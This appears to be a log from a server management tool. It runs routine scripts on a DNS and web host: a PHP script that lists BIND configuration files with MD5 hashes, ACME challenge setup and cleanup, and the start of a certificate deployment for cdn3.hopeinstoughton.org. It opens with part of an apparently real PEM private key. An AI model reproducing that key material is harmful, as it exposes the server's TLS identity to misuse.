OS4rL+9ZAgMBAAECggEABXAO4KWM/Exu7BG2SuA4uyjpU0nu27bngbaxmmQC1c9+
YbEOo0OJjm0U3t++tyLugrVIkpORrPj6HychK4SEvtaAXXxGW8Dvk/j+aFdQhlcI
4as0VM07iNCDlvpG4gFP7rznxO30WwTv2uo8UfiETmUa3GjkhbZuMVTdOZV0uIBA
kW/0zqZIz+N61MWLOJUBuruKAt29rt5Y8x7wXQwSZcq/vX9uer2BQ5VDSmAAM60p
xiz89rqFKNbly2TVNk6HPtLqAs9OUnr25xIhdSfUXAXQ44VgCU2X1Qb5hOodB7HK
wKkfE66Mg93yGgERU/8EtWO7IfvkvzQVngdWuPHS/QKBgQDkCTbQBrWMteVtlEaq
MlQ5u8mxX964DnxhKilSGk/14y94pEYS8tGU3g4ByWNbbYJGSdu6agJE+OluJ0mY
kNmXN2GYk+ojrMhYxZR5gtfeJXU9p29bSUZIsZ8GzVDWEo0PHGa/r4NF4JM5Ia81
VK6CH0bmQKVYPuYC45PZQytrjQKBgQC/HFJNW7ZOMMFWkiKP9t3vFdgvTCfUXazf
cPfU5+6abJfMAxOZL9pg859hhRO1WXpXtf6nWYpegjy+J8Qw4K0sW4qOK9oHISmV
ZqSqf0S4Ywb3YEZOnqMpirnI7SPFEtyrqlO9EaRe7jEv4ODMrUtYVDdcGMoxJgzw
JHLGjHV5/QKBgDSrUCayNgKfDLPHmJ686yk+j3JRg16dseq7Uznsa+WOKKvDvY+o
1/F7bF7LRhCa9YkIjCC9VXLazwerOVtssWU03GziVSUSRmACmq2KJBPiMPchkh3S
idJGfEWU7IPVWxFPbQf/IOHl4ftDJXW67meNk9Ggws/kDzpBmCeJVSENAoGAK3hK
tDPnPNPUNlfZKrvxcV+bo+6DpMeF+fEdPj1fRZrr0Ejm3VJILwNbPnhhqj9nF6pa
+T/hvGuNW4d6FdAVM+DCnGIXHsYJSmVlkS6PuA02WXB5rYph/KIEblKab0pCDX4Z
vAjWRY2SfJx/Ja9JUxcc3IL7AsDv8nOn88ehNRUCgYBAoJTSWqV5aNUk33M5eCQY
p7P6PTl0zkikW9CK4o9loxRULQyF33CtHXYrKD9sCiNUpjHo4bJnylNWCpvUeYW4
U/QSF/81v/HDrGH/p9U/jtm9bYSLejIhtg9e6BU7Q6r/BWg8i6mpIrUnO+8pQKVT
hbCdklqqo/QKXFaosW/L7A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-03 17:40:58: Establishing a connection
2026-01-03 17:41:24: Establishing a connection
2026-01-03 17:41:24:
PUT: /tmp/pkp501649
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 17:41:25:
runuser -l bind -s /bin/bash -c '/tmp/pkp501649; rm /tmp/pkp501649'
2026-01-03 17:41:25:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 17:41:39: Establishing a connection
2026-01-03 17:41:40: Establishing a connection
2026-01-03 17:41:41:
PUT: /tmp/pkp329594
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-03 17:41:42:
chmod 755 /tmp/pkp329594; /tmp/pkp329594; rm /tmp/pkp329594
2026-01-03 17:41:42:
1
2026-01-03 17:41:43: Establishing a connection
2026-01-03 17:41:44:
PUT: /tmp/pkp303893
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ
2026-01-03 17:41:45:
chmod 755 /tmp/pkp303893; /tmp/pkp303893; rm /tmp/pkp303893
2026-01-03 17:41:45:
2026-01-03 17:41:49: Establishing a connection
2026-01-03 17:41:50:
PUT: /tmp/pkp201368
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ
2026-01-03 17:41:51:
chmod 755 /tmp/pkp201368; /tmp/pkp201368; rm /tmp/pkp201368
2026-01-03 17:41:51:
2026-01-03 17:41:51: Establishing a connection
2026-01-03 17:41:52:
PUT: /tmp/pkp676939
#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0
cat > $temp_file <<'endmsg'
3b:c8:63:ac:39:11:d9:7c:8a:7e:ad:4e:8a:ae:bc:a0
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBi0g2VD5GyDr9y9SVhC04VnjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY0MzE4WhcNMjYwNDAzMTY0MzE3WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC5/LSx+/4+d31uAh2xj8Co0jfhji1celcy3XLxsOsBhP8IJjIC
f6Du/F14BSxNEWv91V6kcchAf0bMcHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZL
rb/8u6WvfG6mg7fA7h1sW4KNXap3EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xo
y9e/bYjNhOc/vUdefBnj2O8g5HK3uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hq
MkS/TxfzKXTJCX49RgPabldHdJgkuTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn
3ixj/MX2t33HIK9Eb0vCCPqvswb89PkKaSrzAgMBAAGjggIrMIICJzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFJ3ThHgMWEqvWKDVoOkkUMo4M+hOMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
